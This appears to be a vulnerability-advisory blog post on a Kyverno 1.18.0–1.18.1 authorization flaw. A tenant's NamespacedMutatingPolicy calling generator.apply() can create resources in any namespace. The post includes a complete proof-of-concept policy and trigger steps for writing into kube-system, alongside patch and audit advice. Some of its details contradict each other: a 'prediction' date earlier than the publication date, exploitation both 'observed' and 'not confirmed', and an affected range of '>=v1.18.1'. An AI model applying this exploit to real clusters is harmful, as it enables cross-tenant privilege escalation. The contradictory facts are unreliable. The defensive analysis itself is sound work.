Listen to this Post
In Kyverno v1.18.1, a tenant who can create a `NamespacedMutatingPolicy` in their own namespace can instruct the admission controller to generate resources in any namespace by passing an arbitrary namespace string to the CEL `generator.apply(namespace, resources)` function.
The root cause of this vulnerability lies in insufficient validation within the Kyverno admission controller. The function `GenerateResources` in `pkg/cel/libs/context.go:177` declares GenerateResources(namespace string, dataList []map
any)</code>. The `namespace` argument arrives unvalidated from the CEL expression <code>generator.apply("<target-namespace>", [...])</code>. The admission validator for `NamespacedMutatingPolicy` (<code>pkg/cel/policies/mpol/validate.go</code>) only checks that the policy compiles and does not enforce namespace scope on `generator.apply()` arguments. In contrast, correctly-guarded equivalents like `pkg/engine/context/loaders/configmap.go:102` reject cross-namespace ConfigMap references, and `pkg/engine/apicall/apicall.go:73-82` enforce namespace segment matching. `GenerateResources` has neither guard.
The vulnerability affects versions v1.18.0 and v1.18.1 via `NamespacedMutatingPolicy` only. The `nmpol` CEL compiler unintentionally exposes the generator library to `matchConditions` expressions. A namespaced mutating policy can invoke `generator.apply()` in a boolean CEL expression such as <code>matchConditions</code>, triggering the admission controller to generate resources in any namespace at request time. This side effect executes with the admission controller's cluster-wide privileges. `NamespacedGeneratingPolicy` is not a vector in v1.18.1 due to incomplete webhook and background processing wiring. The issue is fixed in version 1.18.2.
<h2 style="color: blue;">DailyCVE Form:</h2>
Platform: Kyverno
Version: 1.18.0-1.18.1
Vulnerability: CWE-862 Missing Authorization
Severity: Critical (CVSS 9.6)
date: 2026-08-26
<h2 style="color: blue;">Prediction: 2026-06-15 (Patched in v1.18.2)</h2>
<h2 style="color: blue;">What Undercode Say:</h2>
Analytics indicates active exploitation attempts observed by the reporter. Public disclosure included full technical details and proof-of-concept exploit code. No confirmed in-the-wild exploitation was reported at publication time. The vulnerability allows a low-privileged Kubernetes tenant to gain access across namespaces, including kube-system. It is recommended to immediately upgrade Kyverno to version 1.18.2 or later. In environments where upgrading is not instantly feasible, administrators should audit existing `NamespacedMutatingPolicy` definitions for any use of <code>generator.apply</code>.
<h2 style="color: blue;">Exploit: (Educational Purposes!)</h2>
Prerequisites: namespace `tenant-ns` exists; attacker has `create` on `namespacedmutatingpolicies.policies.kyverno.io` in <code>tenant-ns</code>.
[bash]
apiVersion: policies.kyverno.io/v1beta1
kind: NamespacedMutatingPolicy
metadata:
name: cross-ns-escalate
namespace: tenant-ns
spec:
matchConstraints:
resourceRules:
- apiGroups: [""]
apiVersions: ["v1"]
resources: ["configmaps"]
operations: ["CREATE"]
mutations:
- patchType: applyConfiguration
applyConfiguration:
expression: object
matchConditions:
- name: trigger-escalation
expression: |
generator.apply("kube-system", [
{
"apiVersion": dyn("v1"),
"kind": dyn("ConfigMap"),
"metadata": dyn({
"name": "kube-system-config",
"namespace": "kube-system"
}),
"data": dyn({
"injected-by": "tenant-policy",
"impact": "unauthorized access to kube-system namespace"
})
}
])
Apply the policy, then create any ConfigMap in `tenant-ns` to trigger the admission webhook. The admission controller creates `configmap/kube-system-config` in kube-system. By default, the admission controller has `create` on ConfigMaps in all namespaces.
Protection:
- Upgrade Kyverno to version 1.18.2 or later immediately.
- If immediate upgrade is not possible, restrict who can create `NamespacedMutatingPolicy` objects.
- Audit existing `NamespacedMutatingPolicy` definitions for any use of
generator.apply. - Monitor sensitive namespaces (e.g.,
kube-system) for unexpected Role or RoleBinding creation.
Impact:
A namespace-scoped user with `create` on `NamespacedMutatingPolicy` in >=v1.18.1 can create ConfigMaps, NetworkPolicies, Secrets, and other resources in any namespace using the admission controller's cluster-wide RBAC. This allows:
Injecting sensitive configuration into protected namespaces (e.g., kube-system, default)
Disrupting cluster networking via NetworkPolicies
Privilege escalation via RoleBinding creation (for roles the admission controller holds or lesser-privileged roles)
Any installation that grants non-admin users access to `NamespacedMutatingPolicy` creation is affected
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

